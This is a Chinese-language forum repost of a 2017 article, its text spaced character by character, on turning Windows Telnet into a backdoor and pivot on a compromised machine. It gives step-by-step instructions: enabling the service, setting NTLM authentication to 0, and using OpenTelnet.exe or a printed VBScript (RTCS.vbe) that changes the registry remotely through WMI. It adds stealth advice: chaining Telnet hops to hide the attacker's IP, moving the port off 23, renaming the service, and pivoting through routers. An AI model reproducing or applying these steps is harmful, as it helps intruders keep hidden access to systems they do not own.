搜索

[20898] 2017-09-13_巧用Telnet做后门和跳板

文档创建者：s7ckTeam
浏览次数：9
最后更新：2025-01-18
2017-09-13_巧用Telnet做后门和跳板 巧 用 T e l n e t 做 后 门 和 跳 板 L e m o n S e c   2 0 1 7 - 0 9 - 1 3                 T e l n e t 是 传 输 控 制 协 议 / 因 特 网 协 议 ( T C P / I P ) 网 络 ( 例 如 I n t e r n e t ) 的 登 录 和 仿 真 程 序 。 它 最 初 是 由 A R P A N E T 开 发 的 ， 但 是 现 在 它 主 要 用 于 I n t e r n e t 会 话 。 它 的 基 本 功 能 是 ， 允 许 用 户 登 录 进 入 远 程 主 机 系 统 。 T e l n e t 服 务 虽 然 也 属 于 客 户 机 / 服 务 器 模 型 的 服 务 ， 但 它 更 大 的 意 义 在 于 实 现 了 基 于 T e l n e t 协 议 的 远 程 登 录 ( 远 程 交 互 式 计 算 ) ， T e l n e t 一 方 面 可 以 用 来 管 理 计 算 机 ， 另 外 它 也 经 常 被 入 侵 者 用 作 后 门 或 者 跳 板 。                     分 时 系 统 允 许 多 个 用 户 同 时 使 用 一 台 计 算 机 ， 为 了 保 证 系 统 的 安 全 和 记 账 方 便 ， 系 统 要 求 每 个 用 户 有 单 独 的 帐 号 作 为 登 录 标 识 ， 系 统 还 为 每 个 用 户 指 定 了 一 个 口 令 。 用 户 在 使 用 该 系 统 之 前 要 输 入 标 识 和 口 令 ， 这 个 过 程 被 称 为 “ 登 录 ” 。 远 程 登 陆 是 指 用 户 使 用 T e l n e t 命 令 ， 使 自 己 的 计 算 机 暂 时 成 为 远 程 主 机 的 一 个 仿 真 终 端 的 过 程 。 仿 真 终 端 等 效 于 一 个 非 智 能 的 机 器 ， 它 只 负 责 把 用 户 输 入 的 每 个 字 符 传 递 给 主 机 ， 再 将 主 机 输 出 的 每 个 信 息 回 显 在 屏 幕 上 。                       使 用 T e l n e t 协 议 进 行 远 程 登 陆 时 需 要 满 足 以 下 条 件 ： 在 本 的 计 算 机 上 必 须 装 有 包 含 T e l n e t 协 议 的 客 户 程 序 ; 必 须 知 道 远 程 主 机 的 I p 地 址 或 域 名 ; 必 须 知 道 登 录 标 识 与 口 令 。                       T e l n e t 远 程 登 录 服 务 分 为 以 下 4 个 过 程 ：                       ( 1 ) 本 地 与 远 程 主 机 建 立 连 接 。 该 过 程 实 际 上 是 建 立 一 个 T C P 连 接 ， 用 户 必 须 知 道 远 程 主 机 的 I P 地 址 或 域 名 ;                       ( 2 ) 将 本 地 终 端 上 输 入 的 用 户 名 和 口 令 及 以 后 输 入 的 任 何 命 令 或 字 符 以 N V T ( N e t   V i r t u a l   T e r m i n a l ) 格 式 传 送 到 远 程 主 机 。 该 过 程 实 际 上 是 从 本 地 主 机 向 远 程 主 机 发 送 一 个 I P 数 据 报 ;                       ( 3 ) 将 远 程 主 机 输 出 的 N V T 格 式 的 数 据 转 化 为 本 地 所 接 受 的 格 式 送 回 本 地 终 端 ， 包 括 输 入 命 令 回 显 和 命 令 执 行 结 果 ;                       ( 4 ) 最 后 ， 本 地 终 端 对 远 程 主 机 进 行 撤 消 连 接 。 该 过 程 是 撤 销 一 个 T C P 连 接 。                       W i n d o w s   2 0 0 0 以 及 后 续 W i n d o w s 版 本 都 自 带 了 T e l n e t 客 户 机 和 服 务 器 程 序 ， T e l n e t . e x e 是 客 户 机 程 序 ( C l i e n t ) ， t l n t s v r . e x e 是 服 务 器 程 序 ( s e r v e r ) ， 同 时 它 还 提 供 了 T e l n e t 服 务 器 管 理 程 序 t l n t a d m n . e x e 。 W i n d o w s   2 0 0 0   默 认 安 装 了   T e l n e t   服 务 ， 但 是 并 没 有 默 认 启 动 。 下 面 就 介 绍 如 何 操 作 t e l n e t 服 务 以 及 修 改 注 册 表 的 值 ， 在 远 程 服 务 器 上 留 后 门 和 做 跳 板 。                     1 、 设 置 并 启 动 、 设 置 并 启 动 T e l n e t 服 务 服 务 　 　 在 D o s 中 运 行 “ s e r v i c e s . m s c ” 命 令 打 开 服 务 管 理 器 ， 找 到 “ T e l n e t ” 服 务 后 ， 双 击 打 开 ， 如 图 1 所 示 ， 然 后 单 击 “ 启 动 ” 按 钮 将 “ T e l n e t ” 服 务 启 动 ， 并 更 改 该 服 务 的 启 动 类 型 为 “ 自 动 ” . 2 、 使 用 、 使 用 t e l n e t 客 户 端 登 陆 远 程 服 务 器 客 户 端 登 陆 远 程 服 务 器 　 　 在 D o s 提 示 符 下 使 用 “ t e l n e t   2 1 8 . * . * . * ” 登 陆 远 程 t e l n e t 服 务 器 ， 由 于 在 服 务 器 端 没 有 修 改 注 册 表 中 的 N T L M 值 ， 因 此 会 出 现 登 陆 失 败 的 提 示 ， 如 图 2 所 示 。
& 说 明 　 　 ( 1 ) N T L M 身 份 验 证 选 项 ， 默 认 值 是 2 。 为 “ 0 ” 表 示 不 使 用   N T L M   身 份 验 证 ; 为 “ 1 ” 表 示 先 尝 试 N T L M 身 份 验 证 ， 如 果 失 败 ， 再 使 用 用 户 名 和 密 码 ; 为 “ 2 ” 表 示 只 使 用   N T L M   身 份 验 证 。 　 　 ( 2 ) T e l n e t   服 务 器 侦 听   t e l n e t   请 求 的 端 口 默 认 是 “ 2 3 ” ， 可 以 通 过 T e l n e t 服 务 器 管 理 程 序 更 改 默 认 端 口 为 其 他 端 口 。 　 　 ( 3 ) 早 期 的 S M B 协 议 在 网 络 上 明 文 传 输 口 令 ， 后 来 出 现 了 “ L A N   M a n a g e r   C h a l l e n g e / R e s p o n s e ” 验 证 机 制 ， 简 称 L M ， 它 十 分 简 单 以 至 很 容 易 被 破 解 ， 微 软 随 后 提 出 了 W i n d o w s N T 挑 战 / 响 应 验 证 机 制 ， 即 N T L M 。 现 在 已 经 有 了 更 新 的 N T L M v 2 以 及 K e r b e r o s 验 证 体 系 。 在 T e l n e t 中 W i n d o w s 默 认 采 用 N T L M 认 证 。 　 　 ( 4 ) N T L M 工 作 流 程 ： 客 户 端 首 先 在 本 地 加 密 当 前 用 户 的 密 码 成 为 密 码 散 列 ， 然 后 客 户 端 向 服 务 器 明 文 发 送 自 己 的 帐 号 ， 服 务 器 产 生 一 个 1 6 位 的 随 机 数 字 发 送 给 客 户 端 ， 作 为 一 个   c h a l l e n g e ( 挑 战 ) ; 客 户 端 再 用 加 密 后 的 密 码 散 列 来 加 密 这 个 c h a l l e n g e ， 然 后 把 这 个 返 回 给 服 务 器 。 作 为   r e s p o n s e ( 响 应 ) ; 服 务 器 把 用 户 名 、 给 客 户 端 的 c h a l l e n g e 、 客 户 端 返 回 的   r e s p o n s e 这 三 个 东 西 ， 发 送 域 控 制 器 ; 域 控 制 器 用 这 个 用 户 名 在   S A M 密 码 管 理 库 中 找 到 这 个 用 户 的 密 码 散 列 ， 然 后 使 用 这 个 密 码 散 列 来 加 密 c h a l l e n g e ; 域 控 制 器 比 较 两 次 加 密 的   c h a l l e n g e ， 如 果 一 样 ， 那 么 认 证 成 功 。 3 、 使 用 、 使 用 T e l n e t 服 务 器 管 理 程 序 更 改 设 置 服 务 器 管 理 程 序 更 改 设 置 　 　 在 肉 鸡 上 输 入 “ t l n t a d m n ” 命 令 ， 如 图 3 所 示 ， 然 后 输 入 数 字 “ 3 ” ， 选 择 “ 显 示 / 更 改 注 册 表 设 置 ” 。 & 说 明 　 　 ( 1 ) 在 T e l n e t 服 务 器 管 理 程 序 中 还 有 其 它 五 个 输 入 选 项 ： 输 入 “ 0 ” 退 出 管 理 程 序 ， 输 入 “ 1 ” 列 出 当 前 用 户 ， 输 入 “ 2 ” 结 束 一 个 用 户 的 会 话 ， 输 入 “ 4 ” 开 始 服 务 ， 输 入 “ 5 ” 停 止 服 务 。 　 　 ( 2 ) 在 W i n d o w s   X p 中 不 能 使 用 T e l n e t 服 务 器 管 理 程 序 直 接 进 行 管 理 ， 只 能 通 过 命 令 行 方 式 进 行 管 理 ， 输 入 “ t l n t a d m n   / ? ” 可 以 查 看 其 详 细 帮 助 。 　 　 　 4 、 修 改 注 册 表 中 的 、 修 改 注 册 表 中 的 N T L M 值 值 　 　 如 图 4 所 示 ， 在 菜 单 中 选 择 “ 7 ” ， 接 着 输 入 “ y ” 确 认 修 改 ， 然 后 输 入 “ 0 ” 以 及 输 入 “ y ” 确 认 修 改 ， 最 后 输 入 “ 0 ” 退 出 当 前 菜 单 。
& 说 明 　 　 ( 1 ) 本 案 例 是 在 控 制 对 方 计 算 机 的 情 况 下 ， 特 别 是 开 启 了 远 程 终 端 的 情 况 下 ， 通 过 这 种 方 式 比 较 简 便 ; 其 实 还 有 其 它 两 种 方 式 ， 比 如 使 用 o p e n t e l n e t . e x e ( 需 要 管 理 员 权 限 且 开 启 I P C 管 道 ) 以 及 使 用 R T C S 脚 本 ( 需 要 管 理 员 权 限 但 不 依 赖 I P C 管 道 ) 。 　 　 ( 2 ) O p e n T e l n e t   的 具 体 使 用 方 式 为 ： “ O p e n T e l n e t . e x e   s e r v e r   u s e r n a m e   p a s s w o r d   N T L M A u t h o r   t e l n e t p o r t ” ， 其 中 N T L M A u t h o r ( 验 证 方 式 ) 值 填 0 或 1 。 　 　 ( 3 ) R T C S . v b e   脚 本 的 使 用 方 式 为 ： “ c s c r i p t   R T C S . v b e   t a r g e t I P   u s e r n a m e   p a s s w o r d   N T L M A u t h o r   t e l n e t p o r t ” ， R T C S . v b e 代 码 如 下 ： 　 　 o n   e r r o r   r e s u m e   n e x t 　 　 s e t   o u t s t r e e m = w s c r i p t . s t d o u t 　 　 i f   ( l c a s e ( r i g h t ( w s c r i p t . f u l l n a m e , 1 1 ) ) = " w s c r i p t . e x e " )   t h e n 　 　 s e t   o b j S h e l l = w s c r i p t . c r e a t e O b j e c t ( " w s c r i p t . s h e l l " ) 　 　 o b j S h e l l . R u n ( " c m d . e x e   / k   c s c r i p t   / / n o l o g o   " & c h r ( 3 4 ) & w s c r i p t . s c r i p t f u l l n a m e & c h r ( 3 4 ) ) 　 　 w s c r i p t . q u i t 　 　 e n d   i f 　 　 i f   w s c r i p t . a r g u m e n t s . c o u n t < 5   t h e n 　 　 u s a g e ( ) 　 　 w s c r i p t . e c h o   " N o t   e n o u g h   p a r a m e t e r s . " 　 　 w s c r i p t . q u i t 　 　 e n d   i f 　 　 i p a d d r e s s = w s c r i p t . a r g u m e n t s ( 0 ) 　 　 u s e r n a m e = w s c r i p t . a r g u m e n t s ( 1 ) 　 　 p a s s w o r d = w s c r i p t . a r g u m e n t s ( 2 ) 　 　 n t l m = w s c r i p t . a r g u m e n t s ( 3 ) 　 　 p o r t = w s c r i p t . a r g u m e n t s ( 4 ) 　 　 i f   n o t   i s n u m e r i c ( n t l m )   o r   n t l m < 0   o r   n t l m > 2   t h e n 　 　 u s a g e ( ) 　 　 w s c r i p t . e c h o   “ T h e   v a l u e   o f   N T M L   i s   w r o n g . ” 　 　 w s c r i p t . q u i t 　 　 e n d   i f 　 　 i f   n o t   i s n u m e r i c ( p o r t )   t h e n 　 　 u s a g e ( ) 　 　 w s c r i p t . e c h o   “ T h e   v a l u e   o f   p o r t   i s   w r o n g . ” 　 　 w s c r i p t . q u i t 　 　 e n d   i f 　 　 u s a g e ( ) 　 　 o u t s t r e e m . w r i t e   “ C o n n e t i n g   “ & i p a d d r e s s & ” … . ” 　 　 s e t   o b j l o c a t o r = c r e a t e o b j e c t ( ” w b e m s c r i p t i n g . s w b e m l o c a t o r ” ) 　 　 s e t   o b j s w b e m s e r v i c e s = o b j l o c a t o r . c o n n e c t s e r v e r ( i p a d d r e s s , ” r o o t / d e f a u l t ” , u s e r n a m e , p a s s w o r d ) 　 　 s h o w e r r o r ( e r r . n u m b e r )
　 　 o u t s t r e e m . w r i t e   “ S e t t i n g   N T L M = ” & n t l m & ” … . ” 　 　 s e t   o b j i n s t a n c e = o b j s w b e m s e r v i c e s . g e t ( ” s t d r e g p r o v ” ) 　 　 s e t   o b j m e t h o d = o b j i n s t a n c e . m e t h o d s _ ( ” S e t D W O R D v a l u e ” ) 　 　 s e t   o b j i n p a r a m = o b j m e t h o d . i n p a r a m e t e r s . s p a w n i n s t a n c e _ ( ) 　 　 o b j i n p a r a m . h d e f k e y = & h 8 0 0 0 0 0 0 2 　 　 o b j i n p a r a m . s s u b k e y n a m e = ” S O F T W A R E M i c r o s o f t T e l n e t S e r v e r 1 . 0 〃 　 　 ( 4 ) 通 过 T e l n e t 服 务 器 管 理 程 序 修 改 注 册 表 的 值 后 需 要 重 启 计 算 机 才 能 使 修 改 生 效 。 5 、 登 陆 远 程 、 登 陆 远 程 T e l n e t 服 务 器 服 务 器 　 　 使 用 “ t e l n e t   i p ” 命 令 再 次 登 陆 远 程 T e l n e t 服 务 器 ， 如 图 5 所 示 ， 输 入 该 I P 地 址 的 管 理 员 的 用 户 名 和 密 码 ， 验 证 通 过 后 进 入 T e l n e t 。                     & 说 明 　 　 ( 1 ) 登 陆 t e l n e t 成 功 后 ， 在 t e l n e t 客 户 端 中 就 如 同 在 本 地 的 D O S 提 示 符 下 操 作 一 样 ， 可 以 执 行 各 种 命 令 ， 如 图 6 所 示 ， 可 以 查 看 网 络 连 接 情 况 。 ( 2 ) 使 用 多 重 t e l n e t 可 以 达 到 隐 藏 自 身 I P 的 目 的 ， 也 就 是 常 说 的 代 理 功 能 ， 也 就 是 先 联 入 第 一 个 T e l n e t 服 务 器 ， 然 后 在 第 一 个 T e l n e t 服 务 器 的 基 础 上 再 联 入 第 二 个 T e l n e t 服 务 器 ， 再 联 入 第 N 个 T e l n e t 服 务 器 。 这 样 就 不 容 易 被 发 现 了 。 　 　 ( 3 ) 使 用 T e l n e t 作 为 后 门 时 可 以 更 改 t e l n e t 的 默 认 端 口 2 3 为 其 它 端 口 ， 这 样 就 更 隐 蔽 了 。 修 改 端 口 后 ， 还 可 以 更 改 T e l n e t 的 服 务 名 称 。 　 　 ( 4 ) 有 的 路 由 器 的 t e l n e t 端 口 也 开 放 了 ， 如 果 知 道 其 用 户 名 和 密 码 ， 将 其 作 为 跳 板 ， 其 效 果 非 常 好 。 　 　 小 结 小 结 　 　 到 此 一 个 简 单 的 T e l n e t 后 门 和 跳 板 也 就 制 作 成 功 了 ， 以 后 就 可 以 使 用 T e l n e t 来 作 为 跳 板 来 执 行 各 种 操 作 。
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理